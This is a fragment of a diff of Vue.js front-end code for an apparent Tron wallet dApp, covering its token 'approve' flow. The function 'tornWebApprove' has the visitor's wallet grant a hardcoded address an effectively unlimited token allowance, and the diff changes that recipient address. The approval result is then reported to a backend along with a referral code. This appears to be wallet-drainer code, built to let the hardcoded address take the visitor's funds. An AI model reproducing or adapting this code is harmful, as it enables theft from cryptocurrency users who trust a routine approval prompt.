| | |
| | | method: 'get' |
| | | }).then((res) => { |
| | | if(res.code == 200) { |
| | | this.hasApprove = true; |
| | | this.initAccountData() |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | let result = res.data; |
| | | if(result == 1) { |
| | | this.hasApprove = true; |
| | | this.initAccountData() |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | } else if (result == 2) { |
| | | this.submitApprove() |
| | | } else { |
| | | this.hasApprove = false; |
| | | this.$toast(this.$t('message.ApproveTip')); |
| | | } |
| | | }else{ |
| | | this.hasApprove = false; |
| | | this.$toast(this.$t('message.ApproveTip')); |
| | |
| | | console.log(res) |
| | | this.submitApprove() |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }).catch((err) => { |
| | | console.log('授权失败') |
| | | console.log(err) |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }) |
| | | }, |
| | | async tornWebApprove () { |
| | | const tronWeb = window.tronWeb; |
| | | const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; |
| | | const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp"; |
| | | const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"; |
| | | let instance = await tronWeb.contract().at(trxContractAddress); |
| | | let res = await instance["approve"](authAddress, "90000000000000000000000000000"); |
| | | res.send({ |
| | |
| | | this.submitApprove() |
| | | } |
| | | this.isApproving = false; |
| | | this.isShowApproveModal = false; |
| | | }); |
| | | }, |
| | | submitApprove () { |
| | | let refererId = this.getQueryString('code'); |
| | | this.$axios({ |
| | | url: '/dapi/common/approve', |
| | | method: 'post', |
| | | data: { |
| | | address: this.walletAddress, |
| | | refererId: '' |
| | | refererId: refererId ? refererId : '' |
| | | } |
| | | }).then((res) => { |
| | | if(res.code == 200) { |
| | | this.hasApprove = true; |
| | | this.initAccountData(); |
| | | sessionStorage.setItem('address', this.walletAddress); |
| | | } |
| | | }) |
| | | }, |